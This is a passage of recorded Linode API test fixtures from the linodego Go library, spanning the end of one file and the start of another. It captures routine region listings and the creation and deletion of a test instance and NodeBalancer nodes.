172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:35:41 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-8xyko16y92t8","root_pass":"Al/g)2dT:2?:;0v!M?nnb9(JIPa\\12p13DA`\u003c-w5PNg6Y3uTxf27H1:1#A6{wKvW","image":"linode/debian9","firewall_id":640272,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61169832, "label": "go-test-ins-8xyko16y92t8", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.55.95"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "8bb24924c0b481c3ae3a41bf5819194b366c512d", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "789" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:35:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61169832/ips method: POST response: body: '{"address": "192.168.128.47", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 61169832, "region": "ap-west", "vpc_nat_1_1": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "204" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:35:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.128.47:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767843/configs/1266875/nodes method: POST response: body: '{"id": 2051557738, "address": "192.168.128.47:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1266875, "nodebalancer_id": 767843}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "183" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:35:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","proxy_protocol":"none","algorithm":"roundrobin","stickiness":"none","check":"none","check_interval":60,"check_attempts":3,"check_passive":true,"check_timeout":30,"cipher_suite":"recommended","nodes":[{"address":"192.168.128.47:8080","label":"go-node-test-def","weight":10,"mode":"accept","id":2051557738}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767843/configs/1266875/rebuild method: POST response: body: '{"id": 1266875, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 767843, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 1}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:35:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767843/configs/1266875/nodes?page=1 method: GET response: body: '{"data": [{"id": 2051557738, "address": "192.168.128.47:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 1266875, "nodebalancer_id": 767843}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "232" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:35:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/767843/configs/1266875/nodes/2051557738 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:35:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61169832 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 08 Jul 2024 13:35:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestNodeBalancer_Update.yaml000066400000000000000000000635321474652371000321400ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", 